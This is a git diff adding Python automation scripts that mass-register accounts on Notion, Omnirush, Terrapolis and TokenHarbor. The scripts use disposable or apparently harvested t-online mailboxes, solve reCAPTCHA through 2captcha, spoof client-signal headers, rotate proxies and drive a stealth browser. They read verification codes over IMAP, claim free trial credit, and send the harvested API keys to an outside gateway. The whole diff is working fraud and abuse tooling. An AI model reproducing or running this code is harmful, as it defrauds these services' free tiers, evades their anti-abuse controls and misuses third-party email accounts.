str(e)[:70]) + await asyncio.sleep(4) + return False + + +def voidash_create(): + domain = random.choice(VOIDASH_DOMAINS) + with httpx.Client(timeout=25, trust_env=False) as c: + r = c.post("https://api.voidash.com/api/v1/inboxes", json={"domain": domain}) + if r.status_code not in (200, 201): + return None, f"voidash {r.status_code}: {r.text[:100]}" + d = r.json() + return d["address"], d["session_key"] + + +def voidash_wait_code(session_key, deadline_s=240, since_ts=None): + t0 = time.time() + if since_ts is None: + since_ts = t0 + headers = {"Authorization": f"Bearer {session_key}"} + with httpx.Client(timeout=25, trust_env=False, headers=headers) as c: + while time.time() - t0 < deadline_s: + try: + r = c.get("https://api.voidash.com/api/v1/messages") + if r.status_code == 200: + msgs = r.json() + if isinstance(msgs, dict): + msgs = msgs.get("messages", msgs.get("data", [])) + for m in msgs: + try: + created = m.get("created_at") or "" + if created and since_ts: + from datetime import datetime, timezone + cts = datetime.fromisoformat(created.replace("Z", "+00:00")).timestamp() + if cts < since_ts - 120: + continue + except Exception: + pass + subj = (m.get("subject") or "").lower() + frm = json.dumps(m.get("from", {})).lower() + if "notion" in subj or "notion" in frm: + full_body = m.get("body") or m.get("text") or "" + if not full_body: + try: + r2 = c.get(f"https://api.voidash.com/api/v1/messages/{m['id']}") + full_body = r2.json().get("body") or r2.json().get("text") or "" + except Exception: + pass + lines = [l.strip() for l in full_body.splitlines() if l.strip()] + for l in lines[:4]: + if re.fullmatch(r'[A-Za-z0-9]{6,8}', l): + return l + m2 = re.search(r'\b([A-Za-z0-9]{6})\b', full_body[:200]) + if m2: + return m2.group(1) + except Exception as e: + print("voidash err:", str(e)[:120]) + time.sleep(6) + return None + + +async def farm_one(model="Opus"): + res = {"status": "error", "step": "init", "model": model} + # 1) mailbox + addr, key = voidash_create() + if not addr: + res["error"] = key + return res + res["email"] = addr + res["voidash_key"] = key + print("MAILBOX:", addr) + + async with async_playwright() as p: + browser = await p.chromium.launch(headless=True, args=["--no-sandbox"], proxy=de_proxy()) + ctx = await browser.new_context(user_agent=UA, viewport={"width": 1600, "height": 1000}) + page = await ctx.new_page() + try: + # ===== 2) signup ===== + await goto_retry(page, NOTION_SIGNUP) + await page.wait_for_timeout(6000) + email_input = page.locator("input[type=email]").first + for _t in range(5): + try: + await email_input.wait_for(state="visible", timeout=30000) + break + except Exception: + print("email input not visible, reload", _t) + await page.reload(wait_until="domcontentloaded", timeout=60000) + await page.wait_for_timeout(5000) + else: + res["error"] = "email-input-never-visible" + return res + await email_input.fill(addr) + await page.wait_for_timeout(600) + cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first + if await cont.count(): + await cont.click() + else: + await email_input.press("Enter") + await page.wait_for_timeout(5000) + body = (await page.inner_text("body")).lower() + if "invalid email domain" in body or "problem" in body: + res["error"] = "rejected: " + body[:150] + await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png") + return res + + # ===== 3) code ===== + if "verification" in body or "code" in body: + sent_ts = time.time() + code = await asyncio.to_thread(voidash_wait_code, key, 240, sent_ts) + if not code: + res["error"] = "otp-not-found" + await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png") + return res + res["otp"] = code + print("CODE:", code) + code_input = page.locator("input[autocomplete=one-time-code], input[inputmode=numeric], input[name=code]").first + if await code_input.count(): + await code_input.fill(code) + else: + inputs = page.locator("input") + cnt = await inputs.count() + filled = False + for j in range(cnt): + inp = inputs.nth(j) + t = await inp.get_attribute("type") or "" + ph = (await inp.get_attribute("placeholder") or "").lower() + if t not in ("email", "password") and "mail" not in ph: + await inp.fill(code) + filled = True + break + if not filled: + cells = page.locator("input[maxlength=1]") + cc = await cells.count() + for j, ch in enumerate(code): + if j < cc: + await cells.nth(j).fill(ch) + await page.wait_for_timeout(600) + cont2 = page.get_by_role("button", name=re.compile("Continue", re.I)).first + if await cont2.count(): + await cont2.click() + await page.wait_for_timeout(7000) + + # password (если есть) + body = (await page.inner_text("body")).lower() + pw_input = page.locator("input[type=password]").first + if "password" in body and await pw_input.count(): + pw = "Not!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + res["password"] = pw + await pw_input.fill(pw) + await page.wait_for_timeout(400) + cont3 = page.get_by_role("button", name=re.compile("Continue|Sign up|Create", re.I)).first + if await cont3.count(): + await cont3.click() + else: + await pw_input.press("Enter") + await page.wait_for_timeout(7000) + + # ===== 3.5) workspace via API (надёжнее браузерного онбординга) ===== + try: + cks = await ctx.cookies() + tv2 = next((c["value"] for c in cks if c["name"] == "token_v2"), None) + if tv2: + api = httpx.Client(timeout=30, trust_env=False, + headers={"User-Agent": UA, "Content-Type": "application/json"}) + gs = api.post("https://app.notion.com/api/v3/getSpaces", json={}, + cookies={"token_v2": tv2}) + has_space = False + if gs.status_code == 200: + for uid, rec in gs.json().items(): + if rec.get("space"): + has_space = True + if not has_space: + cs = api.post("https://app.notion.com/api/v3/createSpace", + json={"name": "My Space", "type": "personal", "planType": "personal"}, + cookies={"token_v2": tv2}) + res["api_create_space"] = cs.status_code + print("API createSpace:", cs.status_code) + else: + res["api_create_space"] = "exists" + api.close() + except Exception as e: + res["api_create_space_err"] = str(e)[:120] + + # ===== 4) onboarding ===== + for attempt in range(15): + body = (await page.inner_text("body")).lower() + if "customize your profile" in body or "your name" in body: + name_inputs = page.locator("input[type=text], input:not([type])") + cnt = await name_inputs.count() + for j in range(min(cnt, 1)): + await name_inputs.nth(j).fill(random.choice(FIRSTS).capitalize() + " " + random.choice(FIRSTS).capitalize()) + cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first + if await cont.count(): + await cont.click() + for _ in range(10): + await page.wait_for_timeout(1500) + b2 = (await page.inner_text("body")).lower() + if "customize your profile" not in b2 and "your name" not in b2: + break + continue + if "how do you want to use" in body: + opt = page.get_by_text(re.compile("for personal|for myself", re.I)).first + if await opt.count(): + await opt.click() + await page.wait_for_timeout(2000) + cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first + if await cont.count(): + await cont.click() + await page.wait_for_timeout(3000) + continue + if "start with your real work" in body or "connect email" in body: + btn = page.get_by_role("button", name=re.compile("Start from scratch", re.I)).first + if await btn.count(): + await btn.click() + # ждём смены экрана + for _ in range(10): + await page.wait_for_timeout(1500) + b2 = (await page.inner_text("body")).lower() + if "start with your real work" not in b2: + break + continue + if "create" in body and "workspace" in body: + btn = page.get_by_role("button", name=re.compile("Create new workspace", re.I)).first + if await btn.count(): + await btn.click() + await page.wait_for_timeout(4000) + continue + if "desktop" in body and ("skip" in body or "faster" in body): + skip = page.get_by_role("button", name=re.compile("skip for now|skip", re.I)).first + if await skip.count(): + await skip.click() + await page.wait_for_timeout(3000) + continue + if "/onboarding" not in page.url: + break + # generic continue — только кликабельные кнопки без disabled + cont = page.locator('button:enabled, [role=button]:not([aria-disabled="true"])').filter(has_text=re.compile(r"^\s*(Continue|Next|Get started)\s*$", re.I)).first + if await cont.count(): + await cont.click() + await page.wait_for_timeout(3000) + else: + break + + res["post_onboarding_url"] = page.url + print("POST-ONBOARDING:", page.url) + + # ===== 5) model select + test ===== + # Если после онбординга мы уже на /chat — НЕ делаем goto (перезагрузка убивает чат-сессию) + if "/chat" not in page.url: + await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000) + try: + await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000) + except Exception: + # fallback: перезагрузка + повторное ожидание + try: + await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000) + await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000) + except Exception: + res["error"] = "chat/model button missing" + await ctx.storage_state(path=f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json") + res["state_path"] = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json" + res["status"] = "registered-no-chat" + await browser.close() + return res + await page.wait_for_timeout(2000) + await page.locator('[aria-label="Choose AI model"]').first.click() + await page.wait_for_timeout(2500) + items = page.locator('[role=menuitem]') + cnt = await items.count() + target = None + for j in range(cnt): + t = await items.nth(j).inner_text() + if model.lower() in t.lower(): + target = items.nth(j) + break + if target is None: + res["error"] = f"model {model} not in menu" + else: + await target.click() + await page.wait_for_timeout(2000) + print("MODEL SELECTED:", model) + # test message + chat_box = page.locator('[contenteditable=true]').first + await chat_box.click() + await chat_box.fill("Hello! Which model are you? Answer in one short sentence.") + await page.wait_for_timeout(500) + submit = page.locator('[aria-label="Submit AI message"]').first + if await submit.count(): + await submit.click() + else: + await chat_box.press("Enter") + # wait response + for i in range(40): + await page.wait_for_timeout(2500) + body = (await page.inner_text("body")).lower() + if "working on your request" not in body and "connecting the details" not in body: + if "hello! which model" in body: + break + body_full = await page.inner_text("body") + # extract reply: текст после нашего промпта + try: + idx = body_full.lower().rfind("hello! which model") + reply = body_full[idx + 200:idx + 600].strip() + res["ai_reply"] = reply[:300] + except Exception: + pass + res["model_active"] = model + res["final_url"] = page.url + state_path = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json" + await ctx.storage_state(path=state_path) + res["state_path"] = state_path + if "signup" not in page.url and "login" not in page.url and "appeals" not in page.url: + res["status"] = "ok" + else: + res["status"] = "incomplete" + await page.screenshot(path=f"{BASE}/final_{int(time.time())}.png") + except Exception as e: + res["error"] = str(e)[:300] + try: + await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png") + except Exception: + pass + finally: + await browser.close() + return res + + +async def main(): + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + model = sys.argv[2] if len(sys.argv) > 2 else "Opus" + for i in range(n): + print(f"=== farm {i+1}/{n} model={model} ===") + res = await farm_one(model) + with open(OUT, "a", encoding="utf-8") as f: + f.write(json.dumps(res, ensure_ascii=False) + "\n") + print("RESULT:", json.dumps(res, ensure_ascii=False)[:700]) + if res.get("status") != "ok" and i + 1 < n: + print("-> continuing to next account") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/providers/omnirush_recaptcha.py b/providers/omnirush_recaptcha.py new file mode 100644 index 0000000..fc2f2d0 --- /dev/null +++ b/providers/omnirush_recaptcha.py @@ -0,0 +1,265 @@ +# -*- coding: utf-8 -*- +"""Omnirush.ai autoreg — reversed API (reCAPTCHA v3 via 2captcha + client-signals header). + +Flow (from registration-LBv3GV6_.js / omnirush-api-BCDm5SzM.js): + POST /omnirush/register {email, display_name, domain, occupation, referral_source, + consent_version, accept_consent, captcha_token, password} + headers: X-OmniRush-Client-Signals: ch=windows&gl=d3d11&font=segoe&touch=0 + -> approval_state approved|pending ; Set-Cookie session + POST /omnirush/me/verify-email {code} (6-digit code from mailbox) + POST /omnirush/me/verify-email/resend (no body) + POST /omnirush/activate {token} (if email carries an activate token) + +Usage: python omni_reg.py [count] +""" +import json, sys, time, random, string, re, os +import urllib.request, urllib.error, urllib.parse +import http.cookiejar +import imaplib, email as emaillib + +BASE = "https://omnirush.ai" +SITEKEY = "6LcwStMtAAAAAIIYIMlD3G53LRtZcxUE3_BZumMc" +PAGEURL = "https://omnirush.ai/console" +ACTION = "signup" +CONSENT = "2026-10-07" +SIGNALS = "ch=windows&gl=d3d11&font=segoe&touch=0" +POOL = "C:/Users/User/Desktop/avtoreg/working_mails.txt" +STATE = "omni_state.json" +ACC = "omni_accounts.jsonl" +KEY_FILE = "C:/Users/User/tmp/captcha_keys_2captcha.json" +IMAP_HOST = "secureimap.t-online.de" +UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36") + +OCCUPATIONS = ["Backend developer", "Software engineer", "DevOps engineer", + "Full-stack developer", "Systems programmer", "ML engineer"] +SOURCES = ["search", "github", "reddit", "hacker news", "a friend"] +DOMAINS = ["software", "devops-sre", "data-ml", "security", "systems-kernel"] + + +def load_key(): + d = json.load(open(KEY_FILE)) + ks = d["keys"] if isinstance(d, dict) else d + best, best_bal = None, -1e9 + for k in ks: + try: + out = post_form("https://api.2captcha.com/res.php", + {"key": k["key"], "action": "getbalance", "json": 1}, timeout=30) + bal = float(json.loads(out).get("request", -1)) + except Exception: + bal = -1.0 + print(" key %s balance $%.3f" % (k.get("label"), bal)) + if bal > best_bal: + best, best_bal = k["key"], bal + if best_bal < 0.05: + raise RuntimeError("all 2captcha keys empty (best $%.3f)" % best_bal) + return best + + +def post_form(url, data, timeout=60): + r = urllib.request.Request(url, data=urllib.parse.urlencode(data).encode(), + headers={"Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Mozilla/5.0"}) + return urllib.request.urlopen(r, timeout=timeout).read().decode() + + +def solve_recaptcha_v3(key, action=ACTION): + sub = post_form("https://api.2captcha.com/in.php", { + "key": key, "method": "userrecaptcha", "version": "v3", + "googlekey": SITEKEY, "pageurl": PAGEURL, "action": action, "json": 1}) + j = json.loads(sub) + if j.get("status") != 1: + raise RuntimeError("v3 submit fail: %s" % sub[:200]) + rid = j["request"] + for _ in range(30): + time.sleep(7) + g = post_form("https://api.2captcha.com/res.php", + {"key": key, "action": "get", "id": rid, "json": 1}) + gj = json.loads(g) + if gj.get("status") == 1: + return gj["request"] + if "CAPCHA_NOT_READY" in str(gj.get("request", "")): + continue + raise RuntimeError("v3 get fail: %s" % g[:200]) + raise RuntimeError("v3 timeout") + + +class Client: + def __init__(self): + self.cj = http.cookiejar.CookieJar() + self.op = urllib.request.build_opener( + urllib.request.HTTPCookieProcessor(self.cj)) + self.op.addheaders = [ + ("User-Agent", UA), + ("Accept", "application/json"), + ("Accept-Language", "en-US,en;q=0.9"), + ("Origin", BASE), + ("Referer", BASE + "/console"), + ("X-OmniRush-Client-Signals", SIGNALS), + ] + + def req(self, path, data=None, method=None, timeout=40): + body = json.dumps(data).encode() if data is not None else None + r = urllib.request.Request(BASE + path, data=body, + method=method or ("POST" if data is not None else "GET")) + if body is not None: + r.add_header("Content-Type", "application/json") + try: + with self.op.open(r, timeout=timeout) as resp: + raw = resp.read().decode("utf-8", "replace") + try: + return resp.status, json.loads(raw) + except Exception: + return resp.status, raw + except urllib.error.HTTPError as e: + raw = e.read().decode("utf-8", "replace") + try: + return e.code, json.loads(raw) + except Exception: + return e.code, raw + + +def imap_wait(email_addr, ipass, timeout=300): + """Return (code6, activate_token, links) from OmniRush mails.""" + deadline = time.time() + timeout + while time.time() < deadline: + try: + m = imaplib.IMAP4_SSL(IMAP_HOST) + m.login(email_addr, ipass) + m.select("INBOX") + typ, data = m.search(None, '(SUBJECT "OmniRush")') + ids = data[0].split() if data and data[0] else [] + for i in ids[-5:]: + typ, md = m.fetch(i, "(RFC822)") + if not md or not md[0]: + continue + msg = emaillib.message_from_bytes(md[0][1]) + body = "" + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() in ("text/plain", "text/html"): + body += part.get_payload(decode=True).decode("utf-8", "replace") + else: + body = msg.get_payload(decode=True).decode("utf-8", "replace") + code = re.search(r"\b(\d{6})\b", re.sub(r"<[^>]+>", " ", body)) + act = re.search(r"omnirush\.ai/omnirush/activate\?token=([\w.-]+)", body) + if not act: + act = re.search(r"/activate[^\"'\s]*token=([\w.-]+)", body) + links = re.findall(r"https://omnirush\.ai/[^\s\"'<]+", body) + if code or act or links: + m.logout() + return (code.group(1) if code else None, + act.group(1) if act else None, links) + m.logout() + except Exception as e: + print(" imap err:", str(e)[:90]) + time.sleep(15) + return None, None, [] + + +def rnd_name(): + a = random.choice(["Alex", "Max", "Nick", "Ivan", "Oleg", "Dmitry", "Sergey", + "Pavel", "Anton", "Kirill", "Victor", "Roman"]) + b = random.choice(["Morgan", "Fischer", "Lang", "Weber", "Keller", "Novak", + "Bauer", "Richter", "Wolf", "Stein"]) + return "%s %s" % (a, b) + + +def one(email_addr, ipass, key): + c = Client() + pw = "Om" + "".join(random.choices(string.ascii_letters + string.digits, k=14)) + "3!" + payload = { + "email": email_addr, + "display_name": rnd_name(), + "domain": random.choice(DOMAINS), + "occupation": random.choice(OCCUPATIONS), + "referral_source": random.choice(SOURCES), + "consent_version": CONSENT, + "accept_consent": True, + "password": pw, + } + rec = {"email": email_addr, "imap_pass": ipass, "password": pw, + "display_name": payload["display_name"], "ts": int(time.time())} + + for attempt in range(2): + t0 = time.time() + tok = solve_recaptcha_v3(key) + print(" recaptcha v3 token %d chars in %.0fs" % (len(tok or ""), time.time() - t0)) + payload["captcha_token"] = tok + st, resp = c.req("/omnirush/register/password", payload) + print(" register HTTP %s: %s" % (st, str(resp)[:220])) + code = resp.get("code") if isinstance(resp, dict) else None + detail = resp.get("detail") if isinstance(resp, dict) else None + err = code or detail + if st in (200, 201): + rec["approval_state"] = resp.get("approval_state") if isinstance(resp, dict) else "?" + rec["resp"] = resp if isinstance(resp, dict) else str(resp)[:200] + break + if err == "captcha_failed" and attempt == 0: + print(" captcha_failed, retrying with fresh token") + time.sleep(3) + continue + rec["error"] = str(err or resp)[:120] + return rec + else: + return rec + + # email verification + code6, act_tok, links = imap_wait(email_addr, ipass) + if code6: + st, r2 = c.req("/omnirush/me/verify-email", {"code": code6}) + print(" verify-email(%s) HTTP %s: %s" % (code6, st, str(r2)[:120])) + rec["email_verified"] = st in (200, 201, 204) + elif act_tok: + st, r2 = c.req("/omnirush/activate", {"token": act_tok}) + print(" activate HTTP %s: %s" % (st, str(r2)[:120])) + rec["activated"] = st in (200, 201, 204) + else: + print(" no verify mail found; links=%s" % (links[:2],)) + rec["email_verified"] = False + # check me + st, me = c.req("/omnirush/me") + if st == 200 and isinstance(me, dict): + rec["me"] = {"approval_state": me.get("approval_state"), + "email_verified": me.get("email_verified", me.get("verified"))} + print(" me: %s" % json.dumps(rec["me"])) + try: + rec["cookies"] = {ck.name: ck.value for ck in c.cj} + except Exception: + pass + return rec + + +def main(): + count = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + key = load_key() + pool = [] + for line in open(POOL, encoding="utf-8"): + line = line.strip() + if line and not line.startswith("#") and ":" in line: + e, p = line.rsplit(":", 1) + if e.count("-") and re.search(r"-\d{3,}@t-online\.de$", e): + continue # dash-aliases dead for delivery + pool.append((e, p)) + stt = json.load(open(STATE)) if os.path.exists(STATE) else {"idx": 0} + ok = 0 + while ok < count and stt["idx"] < len(pool): + email_addr, ipass = pool[stt["idx"]] + stt["idx"] += 1 + json.dump(stt, open(STATE, "w")) + print("[%d/%d] %s" % (stt["idx"], len(pool), email_addr)) + try: + rec = one(email_addr, ipass, key) + except Exception as e: + print(" EXC:", str(e)[:200]) + rec = {"email": email_addr, "imap_pass": ipass, "error": str(e)[:200]} + with open(ACC, "a", encoding="utf-8") as f: + f.write(json.dumps(rec, ensure_ascii=False) + "\n") + if not rec.get("error"): + ok += 1 + time.sleep(random.uniform(15, 30)) + print("DONE ok=%d idx=%d" % (ok, stt["idx"])) + + +if __name__ == "__main__": + main() diff --git a/providers/terrapolis_native.py b/providers/terrapolis_native.py new file mode 100644 index 0000000..630e408 --- /dev/null +++ b/providers/terrapolis_native.py @@ -0,0 +1,93 @@ +# terrapolis.xyz FULL pipeline: voidash inbox -> browser native reg -> verify email link -> save +import sys, re, json, time, random, string, requests +PAGEURL='https://terrapolis.xyz/register'; OUT='terrapolis_accounts.jsonl' +VOID='https://api.voidash.com/api/v1' +r=lambda n:''.join(random.choices(string.ascii_lowercase+string.digits,k=n)) + +def make_inbox(): + d=requests.post(VOID+'/inboxes',json={'domain':'voidash.bond'},timeout=30).json() + return d['address'], d['session_key'] + +def poll_verify(addr,key,timeout=180): + t0=time.time() + while time.time()-t0<timeout: + try: + msgs=requests.get(VOID+'/messages',headers={'Authorization':'Bea'+'rer '+key},timeout=30).json() + items=msgs if isinstance(msgs,list) else msgs.get('messages',msgs.get('data',[])) + for m in items: + body=json.dumps(m,ensure_ascii=False) + lk=re.search(r'https://terrapolis\.xyz/[^\s"\<]+(?:verify|confirm)[^\s"\<]*',body) + if not lk: lk=re.search(r'(https://terrapolis\.xyz/v[^\s"\<]+)',body) + if lk: return lk.group(0).replace('\u0026','&').replace('\\/','/') + except Exception: pass + time.sleep(6) + return None + +def run(n): + import cloakbrowser + proxies=[l.strip() for l in open('terr_proxies_ts3.txt') if l.strip()] + random.shuffle(proxies) + b=None; pg=None + okc=0 + for i in range(n): + res={'ok':False,'provider':'browser-native+voidash','ts':int(time.time())} + try: + if b is not None: + try: b.close() + except Exception: pass + px=proxies[(i//2)%len(proxies)] if proxies else None + res['proxy']=px + res['proxy']=px + try: + b=cloakbrowser.launch(headless=True,proxy=px) if px else cloakbrowser.launch(headless=True) + except Exception: + b=cloakbrowser.launch(headless=True) + pg=b.new_page() + addr,key=make_inbox() + res['email']=addr + pw=r(14)+'A1!'; res['password']=pw + for attempt in range(3): + try: + pg.goto(PAGEURL,wait_until='domcontentloaded',timeout=60000) + pg.wait_for_selector('input[name=name]',timeout=25000) + break + except Exception: + if attempt==2: raise + pg.close(); pg=b.new_page(); time.sleep(3) + pg.wait_for_timeout(2000) + pg.fill('input[name=name]',r(8).capitalize()); pg.fill('input[name=email]',addr); pg.fill('input[name=password]',pw) + tok=None + for _ in range(45): + v=pg.evaluate("()=>document.querySelector('input[name=captcha]')?.value?.length||0") + if v>100: tok=v; break + pg.wait_for_timeout(2500) + if not tok: + res['err']='turnstile timeout'; raise StopIteration + pg.wait_for_timeout(800) + pg.click('button[type=submit]'); pg.wait_for_timeout(8000) + res['url']=pg.url + if 'verify-email' not in pg.url: + body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:200] + res['err']='no redirect: '+body; raise StopIteration + lk=poll_verify(addr,key,180) + if not lk: + res['err']='no verify email'; raise StopIteration + res['verify_link']=lk[:120] + pg.goto(lk,wait_until='domcontentloaded',timeout=60000); pg.wait_for_timeout(5000) + body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:250] + res['after_verify']=body + res['ok']=('подтвержд' in body.lower() or 'dashboard' in pg.url or 'успеш' in body.lower() or pg.url!='https://terrapolis.xyz/register') + res['final_url']=pg.url + if res['ok']: okc+=1 + except StopIteration: pass + except Exception as e: + res['err']='EXC %s: %s'%(type(e).__name__,str(e)[:150]) + print('[%d] %s'%(i,json.dumps(res,ensure_ascii=False)),flush=True) + open(OUT,'a',encoding='utf-8').write(json.dumps(res,ensure_ascii=False)+'\n') + time.sleep(random.uniform(3,7)) + try: b.close() + except Exception: pass + print('DONE ok=%d/%d'%(okc,n),flush=True) + +if __name__=='__main__': + run(int(sys.argv[1]) if len(sys.argv)>1 else 1) diff --git a/providers/tokenharbor_claim.py b/providers/tokenharbor_claim.py new file mode 100644 index 0000000..46795f5 --- /dev/null +++ b/providers/tokenharbor_claim.py @@ -0,0 +1,409 @@ +#!/usr/bin/env python3 +""" +t-online.de TokenHarbor: login → trigger verify email → verify → claim $5 → API key. +KEY IMPROVEMENT: clicks "Verify email" button on dashboard to SEND a new verification email, +then waits for it via IMAP. This fixes the 85% of accounts that had no pending email. +""" +import json, time, re, ssl, sys +from pathlib import Path +from datetime import datetime +from urllib.request import urlopen, Request +from urllib.error import HTTPError +import websocket +import imaplib +import email as em +import os +# Account passwords live in <project root>/.env (gitignored). Guarded import: +# python-dotenv is not a declared dependency of these standalone scripts. +try: + from dotenv import load_dotenv + load_dotenv(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env")) +except Exception: + pass + + +BASE_URL = "https://tokenharbor.ai" +PASSWORD = os.environ["TOKENHARBOR_PASSWORD"] +CDP_HOST = "127.0.0.1" +CDP_PORT = 9222 +GATEWAY_URL = "https://reformboss.loc.cc/th" +GATEWAY_KEY = "thgw_YOUR_2CAPTCHA_KEY" +POOL_FILE = Path("C:/Users/User/Downloads/Telegram Desktop/working_mails.txt") +KEYS_FILE = Path(__file__).parent / "tokenharbor_keys.txt" +STATE_FILE = Path(__file__).parent / "th_tonline_state.json" + +state = {"done": [], "fail": [], "idx": 0} + +def load_state(): + global state + if STATE_FILE.exists(): + try: state = json.loads(STATE_FILE.read_text()) + except: pass + +def save_state(): + STATE_FILE.write_text(json.dumps(state, indent=2, default=str)) + +PROXY_FILE = Path("C:/Users/User/tmp/th_proxies_ok.txt") + +def load_proxies(): + if not PROXY_FILE.exists(): + return [] + seen, out = set(), [] + for line in PROXY_FILE.read_text().splitlines(): + p = line.strip() + if not p: continue + ip = p.split("//")[-1].split(":")[0] + if ip in seen: continue + seen.add(ip); out.append(p) + return out + +def _browser_ws(): + ver = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/version", timeout=5).read()) + return websocket.create_connection(ver["webSocketDebuggerUrl"], timeout=15) + +def _bcmd(bws, mid, method, **params): + bws.send(json.dumps({"id": mid, "method": method, "params": params})) + while True: + m = json.loads(bws.recv()) + if m.get("id") == mid: + return m + +def connect_cdp(proxy=None): + try: + if proxy: + addr = proxy.split("//")[-1] + bws = _browser_ws() + ctx = _bcmd(bws, 1, "Target.createBrowserContext", + proxyServer=f"http={addr};https={addr}") + ctx_id = ctx.get("result", {}).get("browserContextId") + tgt = _bcmd(bws, 2, "Target.createTarget", url="about:blank", + browserContextId=ctx_id) + tid = tgt.get("result", {}).get("targetId") + bws.close() + if not tid: + raise RuntimeError("no targetId") + time.sleep(1.5) + tabs = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/list", timeout=5).read()) + ws_url = next(t["webSocketDebuggerUrl"] for t in tabs if t.get("id") == tid) + ws = websocket.create_connection(ws_url, timeout=15) + return {"ws": ws, "id": 0, "ctx": ctx_id, "proxy": proxy} + req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new", method="PUT") + data = json.loads(urlopen(req).read()) + ws = websocket.create_connection(data["webSocketDebuggerUrl"], timeout=10) + return {"ws": ws, "id": 0} + except Exception as e: + print(f"CDP FAILED: {e}", file=sys.stderr) + return None + +def dispose_cdp(cdp): + try: + cdp["ws"].close() + except Exception: + pass + if cdp.get("ctx"): + try: + bws = _browser_ws() + _bcmd(bws, 99, "Target.disposeBrowserContext", browserContextId=cdp["ctx"]) + bws.close() + except Exception: + pass + +def js(cdp, code, timeout=15): + cdp["id"] = cdp.get("id", 0) + 1 + mid = cdp["id"] + cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate", + "params": {"expression": code, "returnByValue": True, "awaitPromise": True}})) + start = time.time() + while time.time() - start < timeout: + cdp["ws"].settimeout(1) + try: + data = json.loads(cdp["ws"].recv()) + if data.get("id") == mid: + r = data.get("result", {}).get("result", {}) + return r.get("value"), data.get("subtype") + except: pass + return None, "timeout" + +def nav(cdp, url): + cdp["id"] = cdp.get("id", 0) + 1 + mid = cdp["id"] + cdp["ws"].send(json.dumps({"id": mid, "method": "Page.navigate", "params": {"url": url}})) + time.sleep(3) + +def wait_for_verify_email(email_addr, email_pass, timeout=60): + """Wait for a NEW verification email from TokenHarbor via IMAP.""" + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10) + mail.login(email_addr, email_pass) + mail.select("INBOX") + except Exception as e: + print(f" IMAP login failed: {str(e)[:40]}", file=sys.stderr) + return None + + # Get baseline UIDs + status, baseline = mail.search(None, 'ALL') + known_ids = set(baseline[0].split()) if baseline[0] else set() + + start = time.time() + while time.time() - start < timeout: + try: + mail.select("INBOX") + status, data = mail.search(None, 'ALL') + if status == "OK" and data[0]: + new_ids = set(data[0].split()) - known_ids + for mid in sorted(new_ids, reverse=True): + status, msg_data = mail.fetch(mid, "(RFC822)") + if status != "OK": continue + msg = em.message_from_bytes(msg_data[0][1]) + body = "" + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() in ("text/plain", "text/html"): + payload = part.get_payload(decode=True) + if payload: body += payload.decode("utf-8", errors="replace") + else: + payload = msg.get_payload(decode=True) + if payload: body = payload.decode("utf-8", errors="replace") + if "tokenharbor" in body.lower() or "verify" in body.lower(): + links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body) + if links: + mail.logout() + return links[0] + time.sleep(3) + except Exception as e: + time.sleep(5) + try: mail.logout() + except: pass + return None + +def push_key(api_key): + try: + data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode() + req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor", + data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST") + resp = urlopen(req, timeout=10) + return json.loads(resp.read()), resp.status + except Exception as e: + return {"error": str(e)}, 500 + +def process_one(cdp, email, email_pass): + label = email.split("@")[0][:12] + print(f" [{label}] Login...", file=sys.stderr) + + # Step 1: Login + nav(cdp, f"{BASE_URL}/login") + time.sleep(4) + js(cdp, f""" + var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; + var e = document.querySelector('input[type="email"]'); + if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }} + var p = document.querySelector('input[type="password"]'); + if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }} + """) + time.sleep(0.5) + js(cdp, """for(var b of document.querySelectorAll('button')) { + if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""") + time.sleep(6) + url, _ = js(cdp, "window.location.href") + if "dashboard" not in str(url): + time.sleep(5) + url, _ = js(cdp, "window.location.href") + if "dashboard" not in str(url): + body, _ = js(cdp, "document.body.innerText.slice(0,1500)") + if "Too many attempts" in str(body): + return None, "rate_limited" + # Login failed -> try SIGNUP with same credentials + print(f" Login failed -> trying signup...", file=sys.stderr) + nav(cdp, f"{BASE_URL}/login?mode=signup") + time.sleep(5) + js(cdp, f""" + var nativeSet = 